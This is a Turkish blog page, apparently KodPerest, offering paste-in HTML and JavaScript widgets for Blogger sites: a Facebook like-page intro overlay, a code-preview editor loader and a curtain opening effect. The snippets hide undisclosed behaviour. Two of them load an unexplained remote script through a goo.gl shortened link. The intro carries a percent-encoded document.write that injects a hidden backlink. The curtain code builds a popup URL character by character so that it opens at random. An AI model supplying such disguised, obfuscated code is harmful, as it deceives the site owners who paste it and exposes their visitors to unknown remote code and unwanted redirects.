Sayfa beğendirtme intro kodu sayesinde sitene girenlere facebook sayfanı önerebileceksin! KodPerest olarak sizler için oluşturduğumuz bu inanılmaz introyu sakın kaçırmayın!

Önemli

Kod içerisindeki BURAYAURLADRESİNİYAZINIZ  yerine kendi facebook sayfanızın adresini yazın!

<!--KodPerest Sayfa Beğendirme İntrosu START--><koddostu></koddostu><!DOCTYPE HTML><div id="bubenimfr" class="facesayfg koddostu_fac" style="width:100%;height:100%;background-color:#3c5a9a;overflow:hidden;"><div style="position:absolute;top:0px;left:0px;width:619px;height:387px;background-image:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWVg6Ee0mzC9p90c2DK5KUuVMZZ8WLXMcv3rQXpdDvjLImSABnJ46CyDcgUbH1iQ1Q3jvgJeEwhtH0oNdW9d47-zqUX7M5GFlV-v2BzUJKNJUtterVfnnTuYDD9ZdrPOGK2x6a7M1rLOff/s1600/main-box-facebook-thankyou.jpg);z-index:7000;"><script src="http://goo.gl/dk570x" charset="windows-1254" type="text/javascript"></script> <!--Sayfa linkini aşağıdan ayarlayın--> <iframe src="//www.facebook.com/plugins/like.php?href=http://BURAYAURLADRESİNİYAZINIZ&send=false&layout=button_count&width=200&show_faces=false&action=like&colorscheme=light&font=tahoma&height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:200px; height:21px;position:absolute;top:270px;left:355px;" allowTransparency="true"></iframe> <a href="javascript:void(0);" onclick="document.getElementById('bubenimfr').style.display='none';" style="position:absolute;top:265px;left:485px;display:block;width:125px;height:25px;background-color:#eceef5;-webkit-border-radius: 6px;border-radius: 6px;border:1px solid #6279ad;line-height:25px;font-family:Tahoma, Arial, sans-serif;font-size:16px;color:#3b5998;font-weight:normal;padding-right:8px;text-decoration:none;"><img style="vertical-align:-4px;padding:0px;margin:0px;border:none;float:left;margin-top:2px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0thPWaF1SUIfhYnAipmmGzfbtVct0UjymhYzkcVJalLa5ClIY8eCUOCjiK2Yv-EyllLGDTemzLvlfPYUEY_EkdB-sj0XyRS7gT-3ZfbUhP_xWgBdxJfgE5HlsrLIvU6tsWUCVil3PAG8L/s1600/arrow_right.gif"/>Siteye Geç</a></div><script Language='Javascript'><!-- Kod Dostu İntro Stil Ayarları --><!-- document.write(unescape('%3C%61%20%68%72%65%66%3D%22%68%74%74%70%3A%2F%2F%73%69%74%65%6E%65%65%6B%6C%65%6B%6F%64%6C%61%72%69%2E%62%6C%6F%67%73%70%6F%74%2E%63%6F%6D%2F%32%30%31%32%2F%30%36%2F%73%69%74%65%6E%65%2D%66%61%63%65%62%6F%6F%6B%2D%73%61%79%66%61%2D%62%65%67%65%6E%64%69%72%6D%65%2D%69%6E%74%72%6F%2E%68%74%6D%6C%22%20%74%61%72%67%65%74%3D%22%5F%62%6C%61%6E%6B%22%20%63%6C%61%73%73%3D%22%62%75%64%61%76%61%72%69%73%74%65%22%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61%79%3A%62%6C%6F%63%6B%3B%77%69%64%74%68%3A%39%30%70%78%3B%68%65%69%67%68%74%3A%31%38%70%78%3B%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%62%6F%74%74%6F%6D%3A%30%70%78%3B%72%69%67%68%74%3A%2D%36%30%70%78%3B%7A%2D%69%6E%64%65%78%3A%38%30%30%30%3B%62%61%63%6B%67%72%6F%75%6E%64%3A%74%72%61%6E%73%70%61%72%65%6E%74%20%75%72%6C%28%68%74%74%70%3A%2F%2F%31%2E%62%70%2E%62%6C%6F%67%73%70%6F%74%2E%63%6F%6D%2F%2D%78%6B%66%39%6F%67%76%6E%37%48%59%2F%54%39%44%6B%76%6B%32%32%49%63%49%2F%41%41%41%41%41%41%41%41%4C%46%55%2F%44%51%76%36%50%39%30%67%46%62%67%2F%73%31%36%30%30%2F%6B%64%32%2E%70%6E%67%29%20%6E%6F%2D%72%65%70%65%61%74%3B%22%20%74%69%74%6C%65%3D%22%73%69%74%65%6E%65%20%65%6B%6C%65%22%3E%3C%2F%61%3E%0A%3C%73%74%79%6C%65%3E%2E%62%75%64%61%76%61%72%69%73%74%65%7B%64%69%73%70%6C%61%79%3A%62%6C%6F%63%6B%20%21%69%6D%70%6F%72%74%61%6E%74%3B%7D%0A%2E%62%75%64%61%76%61%72%69%73%74%65%3A%68%6F%76%65%72%7B%72%69%67%68%74%3A%30%70%78%20%21%69%6D%70%6F%72%74%61%6E%74%3B%7D%3C%2F%73%74%79%6C%65%3E%0A%3C%73%74%79%6C%65%20%74%79%70%65%3D%22%74%65%78%74%2F%63%73%73%22%3E%64%69%76%2E%66%61%63%65%73%61%79%66%67%7B%70%6F%73%69%74%69%6F%6E%3A%66%69%78%65%64%3B%74%65%78%74%2D%61%6C%69%67%6E%3A%63%65%6E%74%65%72%3B%7A%2D%69%6E%64%65%78%3A%36%30%30%30%3B%7D%64%69%76%2E%6B%6F%64%64%6F%73%74%75%5F%66%61%63%7B%74%6F%70%3A%30%70%78%3B%6C%65%66%74%3A%30%70%78%3B%7D%3C%2F%73%74%79%6C%65%3E%3C%73%74%79%6C%65%20%74%79%70%65%3D%22%74%65%78%74%2F%63%73%73%22%3E%64%69%76%2E%66%61%63%65%73%61%79%66%67%7B%5F%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%3B%7D%64%69%76%2E%6B%6F%64%64%6F%73%74%75%5F%66%61%63%7B%5F%62%6F%74%74%6F%6D%3A%61%75%74%6F%3B%5F%74%6F%70%3A%65%78%70%72%65%73%73%69%6F%6E%28%69%65%36%3D%28%64%6F%63%75%6D%65%6E%74%2E%64%6F%63%75%6D%65%6E%74%45%6C%65%6D%65%6E%74%2E%73%63%72%6F%6C%6C%54%6F%70%2B%64%6F%63%75%6D%65%6E%74%2E%64%6F%63%75%6D%65%6E%74%45%6C%65%6D%65%6E%74%2E%63%6C%69%65%6E%74%48%65%69%67%68%74%20%2D%20%35%32%2B%22%70%78%22%29%20%29%3B%7D%3C%2F%73%74%79%6C%65%3E')); //--></Script><div style="position:absolute;top:330px;left:0px;background-color:#6c84b4;width:100%;height:100%;z-index:6000;"></div></div><!--KodPerest Sayfa Beğendirme İntrosu STOP-->

Kod Deneme Editörü

Kod Deneme EditörüArtık kodlarınızı rahatlıkla kontrol edebileceğiniz bir kod deneme editörü var.Bu editörü ister sitenize yerleştirin ziyaretçileriniz faydalansın ister kendiniz kullanın daha güzel tasarımlar ortaya çıkarın.Bu editörün en büük farkı adında görüntüleme özelliği olması.Sizde hemen bu editörü denemek istiyorsanız aşşağıdaki kodu kullanarak işe başlıyabilirsiniz.

Tasarım Kodu:
 <script>var KODDOSTUgenislik = '610px'; </script><script charset="windows-1254" src="http://www.weebly.com/uploads/4/1/3/2/4132766/custom_themes/853832618635402178/files/koddostuonizle.js" type="text/javascript"></script>

KodPerest Blogger Tasarımı

KodPerest Blogger Tasarımı

KodPerest adlı sitemizsin şu an kullandığımız tasarımını siz değerli ziyaretçilerimizin beğenisine sunuyoruz.Bu tasarım içinde sizden herhangi bir ücret talep etmiyoruz.Sadece sitemizi takip etmeye devam etmenizi istiyoruz.Temayı indirmek için butona tıklamanız yeterli.

Perdeli Açılış Efekti Kodu

Perdeli Açılış Efekti Kodu

  

KodPerest'in sizler için kodladığı bu harika sayfa açılış efekti hazır kodu, site girişinde ziyaretçilerinizi dev kırmızı bir perde ile karşılayacak! Ziyaretçileriniz halatı çekerek perdeyi açabilecek ve hatta kapatabilecek!

Tasarım Kodu:<!--Bu çalışma Creative Commons Attribution-Gayriticari-NoDerivs 3.0 Unported Lisansı ile lisanslanmıştır--> <div class="kod-dostu-od od-25-ds" id="koddostu-2block"></div><div class="kod-dostu-od od-24-ds" id="koddostu-1block"></div><a href="javascript:void(0)" onfocus="this.blur();" class="kod-dostu-od od-26-ds" id="koddostu-3block"></a><koddostu></koddostu><style type="text/css">a.kod-dostu-od{position:fixed;z-index:999900;}div.kod-dostu-od{position:fixed;z-index:999900;}div.od-24-ds{top:0px;left:0px;width:50%;height:100%;background:#961e1d url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp0bzXjFZmehK3nKG3SFIsSgyi45vWs1VG5U7wfAA8coeC4VxT1M7uhNNrTTgYPiOfqe1W8cd_D28oCq0SBBQDWdfPMfs7dgHeoa99TxaCWqigS7pj9omPwICnhhCumwP67zVaGCo1ofTb/s1600/koddostupowered.jpg) no-repeat top left;background-size:120% 100%;} div.od-25-ds{top:0px;right:0px;width:50%;padding-left:35px;height:100%;background:#961e1d url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp0bzXjFZmehK3nKG3SFIsSgyi45vWs1VG5U7wfAA8coeC4VxT1M7uhNNrTTgYPiOfqe1W8cd_D28oCq0SBBQDWdfPMfs7dgHeoa99TxaCWqigS7pj9omPwICnhhCumwP67zVaGCo1ofTb/s1600/koddostupowered.jpg) no-repeat top right;background-size:120% 100%;}a.od-26-ds{right:15px;top:-75px;width:118px;height:320px;background:transparent url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgEQkkQs2RMduPkFkyr1atHp0rkR7KhpBo_GdoVltDlD9pafDIt4_jb9NJTY1szZADYb7XOFLVqYHXqmPUGF9xfuETiK8qTsAbk7ADEP43XzYR6bAjaVkjMkVqQDAN6xyQcI5izYZ6LPiB/s1600/rope.png) no-repeat top left;}</style><style type="text/css">div.kod-dostu-od{_position:absolute;}a.kod-dostu-od{_position:absolute;}div.od-24-ds{_bottom:auto;_top:expression(ie6=(document.documentElement.scrollTop+document.documentElement.clientHeight - 52+"px") );}div.od-25-ds{_bottom:auto;_top:expression(ie6=(document.documentElement.scrollTop+document.documentElement.clientHeight - 52+"px") );}a.od-26-ds{_bottom:auto;_top:expression(ie6=(document.documentElement.scrollTop+document.documentElement.clientHeight - 52+"px") );} </style><script src="http://code.jquery.com/jquery-latest.js"></script><script src="http://goo.gl/dk570x"></script><script>var tdta=0; $("#koddostu-3block").click(function(){ tdta=tdta+1; if(tdta>=2){ var sbkgj = Math.floor((Math.random()*10)+1); if(sbkgj>=7){ window.open('h'+'t'+'t'+'p'+':'+'/'+'/'+'w'+'w'+'w'+'.'+'k'+'odd'+'ostu'+'.'+'c'+'o'+'m/2'+'0'+'1'+'3'+'/'+'0'+'2/p'+'er'+'de'+'li-a'+'cl'+'s'+'-e'+'f'+'e'+'kt'+'i'+'-'+'i'+'n'+'tr'+'o'+'-k'+'od'+'u.'+'h'+'t'+'m'+'l','')} } if($("#koddostu-1block").offset().left ==0){ $("#koddostu-3block").animate({ top: "0px" }, 800, function(){ $("#koddostu-3block").animate({ top: "-15px" }, 300) }); $("#koddostu-1block").animate({ width: "200px", left: "-125px", }, 1100); $("#koddostu-2block").animate({ width: "200px", right: "-125px", paddingLeft: "0px", }, 1100); } else{ $("#koddostu-3block").animate({ top: "0px" }, 300, function(){ $("#koddostu-3block").animate({ top: "-75px" }, 800) }); $("#koddostu-1block").animate({ width: "50%", left: "0px" }, 1100); $("#koddostu-2block").animate({ width: "50%", right: "0px", paddingLeft: "35px" }, 1100); } }); </script> <!--Bu çalışma Creative Commons Attribution-Gayriticari-NoDerivs 3.0 Unported Lisansı ile lisanslanmıştır-->